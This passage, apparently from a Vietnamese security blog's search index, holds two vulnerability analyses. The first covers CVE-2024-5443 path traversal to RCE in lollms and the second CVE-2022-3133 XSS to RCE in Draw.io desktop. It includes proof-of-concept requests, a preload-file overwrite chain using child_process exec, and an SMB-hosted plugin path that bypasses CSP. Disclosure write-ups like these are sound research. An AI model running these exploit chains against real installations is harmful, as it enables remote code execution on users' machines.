rằng, bộ lọc kiểm soát khá chặt chẽ để ngăn chặn sử dụng các ký tự đặc biệt để thoát ra khỏi đường dẫn mặc định nên các input bắt đầu bằng các payload như ../, /, \\, … và cũng như các đường dẫn được xem là absolute path đều bị phát hiện.\nTại [3], hai giá trị data.category và data.name được nối với nhau bởi dấu phân cách / và kết quả sẽ được nối vào đường dẫn mặc định mà người dùng chỉ được phép truy cập tại [4].\nTrên python cho phép chúng ta có thể append một Path object với một chuỗi để thực hiện nối các đường dẫn lại với nhau, ví dụ:\n\u0026gt;\u0026gt;\u0026gt; from pathlib import Path \u0026gt;\u0026gt;\u0026gt; a = Path(\u0026#34;/home/user/public/\u0026#34;) \u0026gt;\u0026gt;\u0026gt; b = \u0026#34;etc/passwd\u0026#34; \u0026gt;\u0026gt;\u0026gt; a/b PosixPath(\u0026#39;/home/user/public/etc/passwd\u0026#39;) nhưng nếu chuỗi được nối tiếp bắt đầu bằng dấu phân cách / (hoặc có dạng absolute path) thì đường dẫn trước đó sẽ bị bỏ qua\n\u0026gt;\u0026gt;\u0026gt; from pathlib import Path \u0026gt;\u0026gt;\u0026gt; a = Path(\u0026#34;/home/user/public/\u0026#34;) \u0026gt;\u0026gt;\u0026gt; b = \u0026#34;/etc/passwd\u0026#34; \u0026gt;\u0026gt;\u0026gt; a/b PosixPath(\u0026#39;/etc/passwd\u0026#39;) Vì thế lỗ hổng xảy ra ở đây là các giá trị data.category và data.name không check giá trị rỗng dẫn đến kẻ tấn công có thể lạm dụng dấu phân cách giữa hai giá trị này tạo thành đường dẫn tuyệt đối và control được đường dẫn bất kỳ dựa vào giá trị thứ hai\n\u0026gt;\u0026gt;\u0026gt; category = \u0026#34;\u0026#34; \u0026gt;\u0026gt;\u0026gt; name = \u0026#34;tmp/hacked\u0026#34; \u0026gt;\u0026gt;\u0026gt; package_path = f\u0026#34;{category}/{name}\u0026#34; \u0026gt;\u0026gt;\u0026gt; package_path \u0026#39;/tmp/hacked\u0026#39; \u0026gt;\u0026gt;\u0026gt; package_full_path = Path(\u0026#34;/home/user/public/\u0026#34;)/package_path \u0026gt;\u0026gt;\u0026gt; package_full_path PosixPath(\u0026#39;/tmp/hacked\u0026#39;) Tuyệt vời, đến đây có thể khẳng định rằng đã có thể bypass được filter, nhưng tại endpoint /get_personality_config này có vẻ việc khai thác path traversal không tạo ra được mức độ nghiêm trọng của vấn đề nên mình phải rà soát thêm các chức năng khác.\n#More impact, more money Sau khi tham khảo lần lượt các lỗ hổng đã được công bố trước đó, thì mình tìm được một lỗ hổng có mã CVE-2024-4320 được mô tả rất chi tiết bởi @retr0reg (Xem chi tiết tại: https://huntr.com/bounties/d6564f04-0f59-4686-beb2-11659342279b).\nLỗ hổng mô tả rằng tại endpoint /install_extension, cho phép kẻ tấn công khai thác lỗ hổng Path Traversal thông qua biến extension_path đến đường dẫn mà kẻ tấn công đã tải mã độc lên và thực thi hàm ExtensionBuilder().build_extension() để thực hiện load malicous code.\nMình đã thực hiện kiểm tra nhanh rằng hiện tại thì lỗ hổng đã được vá ở /install_extension endpoint, nhưng mình phát hiện ra rằng có thể thực thi hàm ExtensionBuilder().build_extension() gián tiếp qua hàm lollmsElfServer.rebuild_extensions() của một endpoint khác là /mount_extension.\n# lollms_core\\lollms\\server\\endpoints\\lollms_extensions_infos.py # ... more code @router.post(\u0026#34;/mount_extension\u0026#34;) def mount_extension(data:ExtensionMountingInfos): print(\u0026#34;- Mounting extension\u0026#34;) category = sanitize_path(data.category) name = sanitize_path(data.folder) package_path = f\u0026#34;{category}/{name}\u0026#34; package_full_path = lollmsElfServer.lollms_paths.extensions_zoo_path/package_path config_file = package_full_path / \u0026#34;config.yaml\u0026#34; # [5] if config_file.exists(): lollmsElfServer.config[\u0026#34;extensions\u0026#34;].append(package_path) # [6] lollmsElfServer.mounted_extensions = lollmsElfServer.rebuild_extensions() # [7] Như mô tả bên trên, ta hoàn toàn có thể bypass để điều khiển giá trị package_full_path đến một đường dẫn theo ý của chúng ta. Tại [5], kiểm tra xem file config.yaml có tồn tại trong folder hay không nếu tồn tại thì đường dẫn package_full_path sẽ được thêm vào danh sách các extension được định nghĩa tại lollmsElfServer.config[\u0026quot;extensions\u0026quot;] ở [6]. Tại [7], sẽ thực thi hàm lollmsElfServer.rebuild_extensions() như sau:\n# lollms_webui.py # ... more code class LOLLMSWebUI(LOLLMSElfServer): def rebuild_extensions(self, reload_all=False): # ... for i,extension in enumerate(self.config[\u0026#39;extensions\u0026#39;]): # ... if extension in loaded_names: # ... else: extension_path = self.lollms_paths.extensions_zoo_path/f\u0026#34;{extension}\u0026#34; try: extension = ExtensionBuilder().build_extension(extension_path,self.lollms_paths, self) # ... Tại đây, chương trình sẽ thực hiện lặp hết tất cả các đường dẫn extension_path nằm trong config được thêm ở [5], sau đó thực hiện load chúng lên thông qua hàm ExtensionBuilder().build_extension()\n# lollms_core\\lollms\\extension.py # ... more code class ExtensionBuilder: def build_extension( self, extension_path:str, lollms_paths:LollmsPaths, app, installation_option:InstallOption=InstallOption.INSTALL_IF_NECESSARY )-\u0026gt;LOLLMSExtension: extension, script_path = self.getExtension(extension_path, lollms_paths, app) # [8] return extension(app = app, installation_option = installation_option) def getExtension( self, extension_path:str, lollms_paths:LollmsPaths, app )-\u0026gt;LOLLMSExtension: extension_path = lollms_paths.extensions_zoo_path / extension_path # define the full absolute path to the module absolute_path = extension_path.resolve() # infer the module name from the file path module_name = extension_path.stem # use importlib to load the module from the file path loader = importlib.machinery.SourceFileLoader(module_name, str(absolute_path / \u0026#34;__init__.py\u0026#34;)) # [9] extension_module = loader.load_module() extension:LOLLMSExtension = getattr(extension_module, extension_module.extension_name) return extension, absolute_path Khi hàm ExtensionBuilder().build_extension() thực thi, sẽ tiếp tục gọi hàm ExtensionBuilder().getExtension() tại [8], vì extension_path luôn là giá trị absolute path mà ta truyền vào nên có thể dễ dàng control được giá trị của biến absolute_path theo ý của mình. Đồng thời tại [9], hàm ExtensionBuilder().getExtension() sẽ tìm file __init__.py trong đường dẫn mà kẻ tấn công cung cấp để thực hiện load mã bên trong file này.\n#Exploit Conditions Phải biết discussion_id Phải biết đường dẫn đến folder personal_data #Proof-of-Concept Thực hiện tạo một cuộc hội thoại bất kỳ Tạo 2 file có tên lần lượt là config.yaml và __init__.py như bên dưới\n$ echo \u0026#34;import os; os.system(\u0026#39;calc.exe\u0026#39;);\u0026#34; \u0026gt; __init__.py $ echo \u0026#34;FOOOO\u0026#34; \u0026gt; config.yaml Và sau đó upload các file config.yaml and __init__.py vừa tạo thông qua chức năng Send file to AI Send request như bên dưới để trigger RCE\nPOST /mount_extension HTTP/1.1 Host: localhost:1337 Content-Type: application/json Content-Length: 177 { \u0026#34;category\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;folder\u0026#34;: \u0026#34;/path/to/personal_data/discussion_databases/default/\u0026lt;discussion_id\u0026gt;/text_data\u0026#34;, \u0026#34;client_id\u0026#34;: \u0026#34;jg9yock1FmRZdONsAAAH\u0026#34;, \u0026#34;language\u0026#34;: \u0026#34;vi\u0026#34; } Trong đó, discussion_id ta có thể dễ dàng brute-force bởi vì biến này mang giá trị là một số nguyên dễ đoán #The patch Mình đã nhanh chóng report lỗ hổng này trên huntr và vendor đã nhanh chóng acknowledged lỗ hổng này và bản vá cho lỗ hổng lần này này chỉ đơn giản là xóa các chức năng nguy hiểm này đi #Conclusion Cuối cùng, mình muốn gửi lời cảm ơn đến huntr đã tạo nên một nền tảng hết sức thú vị này, và đồng thời cảm ơn huntr đã chia sẽ và mang bài phân tích này đến với cộng đồng.\n","permalink":"https://nhienit2010.github.io/posts/cve-2024-5443-path-traversal-to-rce/","summary":"CVE-2024-5443 analysis","title":"CVE-2024-5443: Path Traversal Leads to RCE in parisneo/lollms"},{"content":"#Tản mạn Dạo gần đây cũng không có viết bài nào mới, cũng nhân dịp này mình có nghiên cứu về cái Draw.io này và cũng may mắn tìm ra được vài bug XSS trên sản phẩm này nhưng không thể nâng impact lên RCE trên desktop app 😢.\nBởi vì, trong quá khứ có nhiều researcher đã nâng từ XSS lên RCE trên sản phẩm này rồi nên nay mình quyết định phân tích lại bug này và đồng thời cũng là dịp mình tìm hiểu về bug XSS trên các ứng dụng desktop app này.\n#Mở đầu Draw.io (diagrams.net) là một phần mềm vẽ biểu đồ đa nền tảng miễn phí và mã nguồn mở được phát triển bằng HTML5 và JavaScript. Giao diện của nó có thể được sử dụng để tạo các sơ đồ như lưu đồ, khung dây, sơ đồ UML, sơ đồ tổ chức và sơ đồ mạng (Theo Wikipedia). Còn Draw.io Desktop là ứng dụng dành cho desktop dựa trên Electron và core là draw.io.\nElectron là khung phần mềm mã nguồn mở và được xây dựng dựa trên Chromium nhưng nó không phải là một browser như chúng ta biết. Một cách hiểu đơn giản là xem Electron như là một ứng dụng bao gồm cả front-end và back-end, trong đó front-end là Chromium có nhiệm vụ render web content và back-end là phần xử lý dựa trên NodeJS.\nElectron thông thường có 2 loại process:\nMain process: hoạt động như một application entry point, hoàn được truy cập và xử lý bởi NodeJS. Renderer process: cũng như tên gọi của nó, process này chịu trách nhiệm cho việc render nội dung của trang web (như HTML, CSS, Javascript) mà người dùng có thể thấy và tương tác được. Thông thường các renderer process được cấu hình bên trong main process nằm ở các file javascript xử lý chính, trong các options này sẽ có các option dùng để phòng chống việc người dùng có thể gọi trực tiếp các NodeJS APIs nếu được cấu hình đúng (Project mẫu có thể download tại đây).\nVì renderer process chịu trách nhiệm parse code HTML nên không thể tránh khỏi việc bị dính lỗ hổng XSS, nên tiếp theo cùng tìm hiểu là XSS trên desktop app thì như thế nào!!!\n#XSS trên Electron Desktop App Như đã biết thì Cross-site Scripting là lỗ hổng cho phép kẻ tấn công có thể thực thi tùy ý mã javascript trên browser của người dùng nhưng đối với Desktop App chạy trên Electron thì có thể dẫn đến gọi các NodeJS APIs và có thể thực thi mã từ xa (RCE)\nMục đích chính của main process là tạo và quản lý các application windows với BrowserWindow module. Một ví dụ một ứng dụng như sau:\n// main.js const { app, BrowserWindow, ipcMain } = require(\u0026#39;electron\u0026#39;) const path = require(\u0026#39;path\u0026#39;) function createWindow () { const mainWindow = new BrowserWindow({ width: 800, height: 600, webPreferences: { preload: path.join(__dirname, \u0026#39;preload.js\u0026#39;), nodeIntegration: true, contextIsolation: false, sandbox: false } }) // ... Giải thích một số options quan trọng:\npreload: là một script sẽ thực thi trong một renderer process trước khi thực hiện load web content, mặc dù script này được chạy trong một renderer context nhưng có full quyền truy cập vào các NodeJS APIs. nodeIntegration: option này được bật có nghĩa là renderer process có thể truy cập trực tiếp và gọi các NodeJS APIs, nếu XSS xảy ra thì có thể chạy được mã NodeJS trực tiếp. contextIsolation: option này được dùng để tách (hay cô lập) giữa preload scripts và NodeJS APIs context với webContents context. Ví dụ, nếu như trong preload script set window.a = 1 thì khi truy cập vào window.a ở phía webContents sẽ là undefined. sandbox: nếu option này được bật thì renderer chỉ có thể thực hiện một số hành động được IPC cấp. #Case 1: XSS + nodeIntegration Như đã nói ban đầu, nếu option nodeIntegration được bật thì renderer process có thể gọi trực tiếp NodeJS APIs, hay nói cách khác từ trên giao diện devtool web ta có thể thực thi trực tiếp code NodeJS dẫn đến RCE.\nVuln code:\n// main.js const { app, BrowserWindow, ipcMain } = require(\u0026#39;electron\u0026#39;) const path = require(\u0026#39;path\u0026#39;) function createWindow () { const mainWindow = new BrowserWindow({ width: 800, height: 600, webPreferences: { nodeIntegration: true, contextIsolation: false, sandbox: false } }) // ... #Case 2: Preload + contextIsolation Giả sử trong trường hợp này, ở preload script có định nghĩa một function cho phép thực thi command tùy ý, nhưng vì lý do option contextIsolation được set là false nên dẫn đến main process và renderer process có chung context hay nói cách khác là cả 2 phía sẽ dùng chung một global window object, nghĩa là từ phía renderer process có thể gọi trực tiếp đến function này ở phía main process.\nVuln code:\n//main.js const { app, BrowserWindow, ipcMain } = require(\u0026#39;electron\u0026#39;) const path = require(\u0026#39;path\u0026#39;) function createWindow () { const mainWindow = new BrowserWindow({ width: 800, height: 600, webPreferences: { preload: path.join(__dirname, \u0026#39;preload.js\u0026#39;), contextIsolation: false, sandbox: false } }) // ... // preload.js window.exec = (cmd) =\u0026gt; { require(\u0026#39;child_process\u0026#39;).exec(cmd) } Cách để ngăn chặn cuộc tấn công này chỉ đơn giản là set contextIsolation = true và đồng thời contextBridge module được sinh ra để expose các APIs từ preload script một cách an toàn cho render process sử dụng khi context giữa main process và renderer process bị cô lập hoàn toàn. Các APIs expose này được truy cập thông qua window object, mục đích của việc này là chỉ expose những chức năng cần thiết chứ không expose cả một window object ra cho renderer :v.\nVí dụ:\n// preload.js // preload with contextIsolation enabled const { contextBridge } = require(\u0026#39;electron\u0026#39;) contextBridge.exposeInMainWorld(\u0026#39;myAPI\u0026#39;, { doAThing: () =\u0026gt; {} }) // renderer.js // use the exposed API in the renderer window.myAPI.doAThing() #Case 3: RCE thông qua IPC IPC (Inter-process communication) là một phần khá quan trọng trên ứng dụng Electron vì nó chịu trách nhiệm cho việc liên kết (kết nối) thực hiện các tác vụ giữa main process và renderer process như gọi các native API từ UI.\nElectron cung cấp 2 lại IPC là IPC Main và IPC Renderer\nIPC Main cho phép main process giao tiếp với renderer process để thực hiện một số hoạt động hệ thống như quản lý cửa sổ ứng dụng, tạo quy trình mới hay giọ các module NodeJS. Để sử dụng IPC Main có thể gọi ipcMain module này để thực hiện lắng nghe cũng như gửi message đến renderer process. Ví dụ: // Main process const { app, BrowserWindow, ipcMain } = require(\u0026#39;electron\u0026#39;); app.on(\u0026#39;ready\u0026#39;, () =\u0026gt; { const mainWindow = new BrowserWindow(); mainWindow.loadURL(\u0026#39;https://example.com\u0026#39;); ipcMain.on(\u0026#39;message-from-renderer\u0026#39;, (event, arg) =\u0026gt; { console.log(arg); // Log message from renderer process event.sender.send(\u0026#39;message-to-renderer\u0026#39;, \u0026#39;Hello from main process!\u0026#39;); }); }); IPC Renderer cho phép renderer process giao tiếp với main process, để sử dụng IPC Renderer có thể sử dụng ipcRenderer module để được cung cấp một số giao thức gửi và lắng nghe thông điệp đến từ main process. Ví dụ: // Renderer process const { ipcRenderer } = require(\u0026#39;electron\u0026#39;); ipcRenderer.send(\u0026#39;message-from-renderer\u0026#39;, \u0026#39;Hello from renderer process!\u0026#39;); ipcRenderer.on(\u0026#39;message-to-renderer\u0026#39;, (event, arg) =\u0026gt; { console.log(arg); // Log message from main process }); Một ví dụ về trường hợp sử dụng IPC một cách không an toàn:\n// main.js const { app, BrowserWindow, ipcMain, shell } = require(\u0026#39;electron\u0026#39;) const path = require(\u0026#39;path\u0026#39;) function createWindow () { const mainWindow = new BrowserWindow({ width: 800, height: 600, webPreferences: { preload: path.join(__dirname, \u0026#39;preload.js\u0026#39;), contextIsolation: true, sandbox: false } }) ipcMain.on(\u0026#39;openURL\u0026#39;, (event, url) =\u0026gt; { shell.openExternal(url) }) // ... // preload.js const { contextBridge, ipcRenderer } = require(\u0026#39;electron\u0026#39;) contextBridge.exposeInMainWorld(\u0026#39;electronAPI\u0026#39;, { openURL: (url) =\u0026gt; ipcRenderer.send(\u0026#39;openURL\u0026#39;, url) }) một số điểm cần hiểu rõ ở những đoạn code trên như sau:\ncontextIsolation = true IPC Main sẽ lắng nghe event “openURL”, sau đó thực thi shell.openExternal với tham số url được truyền vào =\u0026gt; Đây cũng là sink của lỗ hổng, hàm này cho phép mở mọt URL hoặc tệp tin bên ngoài Electron dẫn đến RCE. Ở preload script expose electronAPI ra bên ngoài cho renderer có thể gọi hàm openURL, sau đó ipcRenderer sẽ gửi message đến ipcMain ở openURL channel mà IPC Maind đang lắng nghe. Vì thế, ở đây ta sẽ dùng file protocol để gọi đến tệp tin hay chương trình bên ngoài (có thể là virus hoặc backdoor) để chiếm quyền điều khiển hệ thống. Đó là cơ bản về một số lỗ hổng trên ứng dụng được tạo nên từ Electron, tiếp theo sẽ vào vấn đề chính, sẽ nói về bug trên app Draw.io\n#CVE-2022-3133 Lỗ hổng này được report và public trên huntr.dev bởi researcher mizu, cụ thể là lạm dụng lổ hổng XSS để thực hiện chức năng writeFile ở IPC Main để override tệp preload script để có thể thực thi mã từ xa (RCE).\n#Abuse of ipcMain to override preload script Ở file electron.js, ipcMain được định nghĩa lắng nghe sự kiện rendererReq và bao gồm nhiều action\n// ... ipcMain.on(\u0026#34;rendererReq\u0026#34;, async (event, args) =\u0026gt; { try { let ret = null; switch(args.action) { // ... case \u0026#39;writeFile\u0026#39;: ret = await writeFile(args.path, args.data, args.enc); break; // ... trong đó đáng chú ý là writeFile action nhận vào tham số là path, data, enc. Đồng thời, ở electron-preloads.js expose API electron cho phép gọi rendererReq channel từ renderer process như sau\n// ... contextBridge.exposeInMainWorld( \u0026#39;electron\u0026#39;, { request: (msg, callback, error) =\u0026gt; { msg.reqId = reqId++; reqInfo[msg.reqId] = {callback: callback, error: error}; //TODO Maybe a special function for this better than this hack? //File watch special case where the callback is called multiple times if (msg.action == \u0026#39;watchFile\u0026#39;) { fileChangedListeners[msg.path] = msg.listener; delete msg.listener; } ipcRenderer.send(\u0026#39;rendererReq\u0026#39;, msg); }, // ... =\u0026gt; Ý tưởng ở đây sẽ là lạm dụng chức năng writeFile này để ghi đè thay đổi nội dung của electron-preload.js để trực tiếp thực thi mã NodeJS.\n#Type juggling bypass checkFileContent Hàm writeFile được định nghĩa như sau:\n// ... async function writeFile(path, data, enc) { if (!checkFileContent(data, enc)) { throw new Error(\u0026#39;Invalid file data\u0026#39;); } else { return await fsProm.writeFile(path, data, enc); } }; // ... trong đó, hàm checkFileContent kiểm tra content type từ dữ liệu đưa vào, mục tiêu của chúng ta là phải chèn nội dung javascript hợp lệ vào electron-preload.js.\n// ... function checkFileContent(body, enc) { if (body != null) { let head, headBinay; if (typeof body === \u0026#39;string\u0026#39;) { if (enc == \u0026#39;base64\u0026#39;) { headBinay = Buffer.from(body.substring(0, 22), \u0026#39;base64\u0026#39;); head = headBinay.toString(); } else { head = body.substring(0, 16); headBinay = Buffer.from(head); } } // ... let c1 = head[0], c2 = head[1], c3 = head[2], c4 = head[3], ... if (c1 == \u0026#39;\u0026lt;\u0026#39;) { // text/html if (c2 == \u0026#39;!\u0026#39; // ... // application/xml if (c2 == \u0026#39;?\u0026#39; \u0026amp;\u0026amp; c3 == \u0026#39;x\u0026#39; \u0026amp;\u0026amp; c4 == \u0026#39;m\u0026#39; \u0026amp;\u0026amp; c5 == \u0026#39;l\u0026#39; \u0026amp;\u0026amp; c6 == \u0026#39; \u0026#39;) { // ... Ở đây ta có thể thấy rằng dữ liệu mong muốn từ đầu vào là các file định dạng như text/html, application/xml, application/pdf, image/*. Nghĩa là những bytes đầu tiên của các định dạng này thường bắt đầu bằng những ký tự đặc biệt, vì lý do này nên sẽ gây ra lỗi syntax khi viết vào một file javascript.\nMột điều nữa là chỉ lấy 16 bytes header từ input để validate nếu không phải là dạng base64, còn nếu là base64 thì lấy 22 ký tự đầu để đem đi decode và tiếp theo là đem đi check.\nMục tiêu của chúng ta đơn giản chỉ là làm cho hàm này trả về true là được, sau đó dữ liệu sẽ được đưa vào fsProm.writeFile để ghi xuống tệp. Vậy bug ở đây là gì???\n// ... function checkFileContent(body, enc) { if (body != null) { let head, headBinay; if (typeof body === \u0026#39;string\u0026#39;) { if (enc == \u0026#39;base64\u0026#39;) // ... // ... Lỗ hổng type juggling xuất hiện ở enc == 'base64', bởi vì:\n“base64” == “base64”\ntrue\n[“base64”] == “base64”\ntrue\nVậy nếu ta truyền vào tham số enc = [\u0026quot;base64\u0026quot;] thì sẽ có ý nghĩa gì??? Mọi thứ đều có lý do của nó =))) Vì hàm fs.writeFile nhận vào tham số option là string hoặc object, nếu option encoding = \u0026quot;base64\u0026quot; thì input sẽ decode base64 rồi mới được ghi xuống file, còn nếu encoding = [\u0026quot;base64\u0026quot;] thì dữ liệu sẽ không cần decode vì default = utf-8 mà ghi thẳng xuống file.\nconst fsProm = require(\u0026#39;fs/promises\u0026#39;); fsProm.writeFile(\u0026#34;/tmp/output\u0026#34;, \u0026#34;PGh0bWwxMzMzMzMzMzMzMzM=\u0026#34;, \u0026#34;base64\u0026#34;) // Output: \u0026lt;html133333333333 const fsProm = require(\u0026#39;fs/promises\u0026#39;); fsProm.writeFile(\u0026#34;/tmp/output\u0026#34;, \u0026#34;PGh0bWwxMzMzMzMzMzMzMzM=\u0026#34;, [\u0026#34;base64\u0026#34;]) // Output: PGh0bWwxMzMzMzMzMzMzMzM= Như vậy là đã rõ, nếu ta truyền vào data là chuỗi bắt đầu bằng \u0026lt;html dạng base64 ở 22 ký tự đầu với enc = [\u0026quot;base64\u0026quot;] thì khi validate sẽ bị base64 decode nhưng đến hàm fsProm.write sẽ khi trực tiếp chuỗi base64 xuống file và có thể control được code ở phía sau.\nPGh0bWxhYWFhYWFhYWFhYWE=1337;require(\u0026#39;child_process\u0026#39;).exec(\u0026#39;calc\u0026#39;);// #Find the webroot May mắn là rendererReq channel ở ipcMain có getCurDir action, action này sẽ thực thi hàm getCurDir và trả về đường dẫn hiện tại =\u0026gt; Đường dẫn này cũng là nơi chứa electron-preload.js\n// ... ipcMain.on(\u0026#34;rendererReq\u0026#34;, async (event, args) =\u0026gt; { try { let ret = null; switch(args.action) { // ... case \u0026#39;getCurDir\u0026#39;: ret = await getCurDir(); break; } // ... #Look for XSS vulnerabilities Theo như document thì các plugin có thể được load thông qua việc cấu hình một danh sách các tên plugin trên UI.\nChẳng hạn như ta cấu hình như thế này: thì plugin voice sẽ được load Vì lý do bị hạn chế bởi CSP nên ta không thể load bất kỳ extension nào khác tùy ý\ndefault-src \u0026#39;self\u0026#39;; connect-src \u0026#39;self\u0026#39; https://fonts.googleapis.com https://fonts.gstatic.com; img-src * data:; media-src *; font-src *; style-src \u0026#39;self\u0026#39; \u0026#39;unsafe-inline\u0026#39; https://fonts.googleapis.com nên các script chỉ có thể được load từ self nhưng ta có thể hoàn toàn bypass được CSP này thông qua load một script từ SMB server, vấn đề này đã được nói rõ từ bản report https://huntr.dev/bounties/911a4ada-7fd6-467a-a464-b88604b16ffc/\n{ \u0026#34;plugins\u0026#34;: [ \u0026#34;\\\\\\\\10.69.157.158\\\\js-server\\\\exploit.js\u0026#34; ] } #Exploit Chain mọi thứ lại thì ý tưởng khai thác là lạm dụng lỗ hổng XSS thông qua tamper configure load malicous script từ SMB server để gọi các APIs từ renderer process, thực hiện lần lượt các action getCurDir, writeFile để ghi đè electron-preload.script. Sau đó, thực hiện electron.sendMessage('newfile') để tạo ra một renderer process mới, đồng thời để electron-preload.js mới được load và RCE.\nelectron.request({ action: \u0026#34;getCurDir\u0026#34; }, (d) =\u0026gt; { electron.request({ action: \u0026#34;writeFile\u0026#34;, path: `${d}/electron-preload.js`, data: \u0026#34;PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;require(\u0026#39;child_process\u0026#39;).exec(\u0026#39;calc\u0026#39;);//\u0026#34;, enc: [\u0026#34;base64\u0026#34;] }, (res) =\u0026gt; { electron.sendMessage(\u0026#39;newfile\u0026#39;, {width: 100, height: 100 }); }) }) #References https://huntr.dev/bounties/2d93052f-efc6-4647-9a6d-8b08dc251223/ https://huntr.dev/bounties/911a4ada-7fd6-467a-a464-b88604b16ffc/ https://deepsec.net/docs/Slides/2021/Hacking_Modern_Desktop_apps_with_XSS_and_RCE_Abraham_Aranguren.pdf https://www.electronjs.org/docs/latest/tutorial/ipc ","permalink":"https://nhienit2010.github.io/posts/cve-2022-3133-drawio-xss-to-rce/","summary":"CVE-2022-3133 analysis","title":"[CVE-2022-3133] Draw.io – XSS leads to RCE"}]